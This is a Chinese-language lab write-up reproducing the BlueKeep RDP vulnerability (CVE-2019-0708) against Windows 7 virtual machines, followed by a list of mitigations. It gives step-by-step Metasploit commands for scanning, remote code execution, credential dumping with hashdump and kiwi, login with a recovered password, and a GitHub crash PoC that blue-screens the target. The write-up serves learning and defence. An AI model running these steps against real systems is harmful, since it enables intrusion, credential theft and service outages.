CVE-2019-0708漏洞复现及防御机制

终于来到了这一步,你你你,就是我第一个复现的漏洞啦!CVE-2019-0708又称bluekeep。

1. 漏洞背景

1.1 漏洞概述

2019年5月14日,微软发布了针对远程桌面服务的关键远程执行代码漏洞CVE-2019-0708的补丁,该漏洞影响某些旧版本的Windows。攻击者一旦成功触发该漏洞,便可以在目标系统上执行任意代码,该漏洞的触发无需任何用户交互操作。这意味着,存在漏洞的计算机只要联网,无需任何操作,就可能遭遇黑客远程攻击,运行恶意代码。其方式与2017年的 WannaCry 恶意软件的传播方式类似,成功利用此漏洞的攻击者可以在目标系统完成安装应用程序,查看、更改或删除数据,创建完全访问权限的新账户等操作。

1.2 漏洞原理

存在漏洞的远程桌面服务器,在接收到特殊数据包时会释放一个内部信道 MS_T120 的控制结构体,但并未将指向该结构体的指针删除,而且在远程桌面连接结束之后还会调用 MS_T120 结构体内的一个函数指针,若攻击者可通过远程发送数据重新占据被释放的 MS_T120,并为结构体内的函数指针赋恰当的值,即可实现远程命令执行。

1.3 影响范围

该漏洞影响旧版本的Windows系统,包括:Windows 7 、 Windows Server 2008 R2 、 Windows Server 2008 、Windows 2003 、 Windows XP。

Windows 8 和 Windows 10及之后版本不受此漏洞影响。

1.4 影响方式

CVE-2019-0708漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击。如果被攻击者利用,会导致服务器被入侵,中病毒,像 WannaCry 永恒之蓝漏洞一样大规模的感染。若要利用此漏洞,攻击者需要通过 RDP 向目标系统远程桌面服务发送经特殊设计的请求。

1.5 漏洞评级

1
CVE-2019-0708: 高危

2. 前置知识

2.1 RDP协议

远程显示协议(Remote Display Protocol,RDP),提供了客户和服务器之间的连接。

RDP是微软终端服务应用的协议,服务端基于Win 2000 / Win NT。协议基于T.128(T.120协议族)提供多通道通信。在客户端支持多种资源缓冲和图片数据的压缩处理,运用RDP协议的虚拟化平台有VMware、Microsoft等。

终端服务使任何一台有权限的终端机,用已知的账号登录服务器,可以使用账号内的资源,包括软件,硬件资源;同时,在协议升级后,客户端连接后可以使用本地的资源,包括本地打印机、声音本地回放,本地磁盘资源和本地硬件接口。所有的计算都在服务器端进行,客户端只需要处理网络连接、接收数据、界面显示和设备数据输出。

2.2 专业术语

  • POC(Proof of Concept):观点证明,用来证明漏洞存在的。简单来说是用来证明一段漏洞的代码,它是无害的。
  • EXP(Exploit):漏洞利用,是指利用系统漏洞进行攻击的动作。
  • Payload:有效载荷,指的是Exploit执行成功之后,在系统中进行恶意操作的代码或者指令。
  • Shellcode:简单翻译就是shell代码,是payload的一种,因为建立正反shell而得名。Shellcode是一段利用软件漏洞执行的代码,Shellcode为16进制的机器码, 可在寄存器eip溢出后,塞入一段让CPU执行的Shellcode机器码,让电脑可以执行攻击者的任意指令。

3. 漏洞复现

3.1 环境配置

攻击机:Kali Linux x64(IP地址:192.168.193.128)

靶机:Windows 7 x86 旗舰版(IP地址:192.168.193.140)、Windows 7 x64 企业版(IP地址:192.168.193.141)

利用工具:

3.2 复现准备

在靶机中设置远程桌面连接:

开启公用文件夹共享:

在Windows 防火墙开启3389端口:

在攻击机中更新应用,安装MSF:

1
2
3
apt-get update
apt-get upgrade
apt-get install metasploit-framework

有关MSF的知识可以看MSF详解,Metasploit 是一个开源的渗透测试开源软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台,此外也将成为支持整个渗透测试过程的安全技术集成开发与应用环境。

3.3 复现过程

扫描靶机IP或扫描内网的存活主机:

1
2
nmap 192.168.193.140
nmap 192.168.193.0/24

发现靶机开启了3389端口,猜测可以利用CVE-2019-0708进行攻击。进入MSF:

1
msfconsole

在MSF中搜索有关CVE-2019-0708的信息:

1
search cve-2019-0708

得到两个模块,一个是辅助模块,用来扫描靶机是否存在该漏洞且可利用;另一个是漏洞利用模块,用来攻击靶机。

先利用辅助模块对靶机进行扫描,查看相关信息和设置:

1
2
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
show options

其中还有一个rhosts参数还没进行设置,将rhosts设置为靶机IP,进行检测:

1
2
3
set rhost 192.168.193.140
show options
run

结果显示靶机存在这个漏洞。

3.3.1 提权

使用漏洞利用模块对靶机进行渗透:

1
2
3
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set rhosts 192.168.193.140
show options
1
show targets

发现目前的攻击脚本只适用于64位版本的 Windows 7 和 Windows 2008 R2 ,到了这里做不下去了,攻击不成功,因为我的 Win 7 靶机是32位的🤣。

速速转到64位版本的 Win 7 重复以上操作,因为我的VMware是15.5的版本,所以选择5,成功提权。

1
2
set target 5
run

3.3.2 远程登录

注意,这个操作在提权成功的情况下才能进行远程登录。将靶机用户设置密码,否则不能远程登录。

1
2
3
hashdump			//获取目标主机hash值
load kiwi //载入kiwi模块,它是一个密码提取神器,支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等
creds_all //获得目标主机的账号密码

远程登录靶机:

1
rdesktop 192.168.193.141 -u Leong -p l30n9ry0n

3.3.3 蓝屏攻击

前情提要:使用辅助模块发现靶机存在这个漏洞。

安装pip3和impacket库:

1
2
apt-get install python3-pip
pip3 install impacket

下载POC:

1
git clone https://github.com/n1xbyte/CVE-2019-0708.git

进去该目录看看里面有什么文件以及它们的权限。发现它们没有执行权限。

1
chmod 777 crashpoc.py

chmod表示change mod,修改文件属性;crashpoc.py表示所要修改的文件;777表示权限列表,每个“7”表示一组,共三组。“r—”二进制表示“100”,其值为4;而“rwx”表示“111”,其值为7,即所有权限都开启。

打开crashpoc.pypoc.py发现都需要impacket库支持,也就是为什么要安装impacket库。可用pip3 list命令查看Python安装的所有扩展包。

利用脚本进行攻击:

1
2
python3 crashpoc.py 192.168.193.140 32
#IP地址 目标IP地址主机的系统版本

靶机蓝屏,攻击成功。

4. 防御方法

  • 微软官方已经发布更新补丁(包括Windows XP等停止维护的版本),请用户及时进行补丁更新
  • 若用户不需要用到远程桌面服务,建议禁用该服务
  • 在防火墙中对TCP 3389端口进行阻断
  • 开启系统防火墙或IP安全策略限制来源IP,即只允许指定IP访问
  • 启用网络级认证(NLA),此方案适用于Windows 7 、 Windows Server 2008 和 Windows Server 2008 R2
  • 安装必要的防火墙或杀毒软件,关注安全公司的漏洞报告或防御文章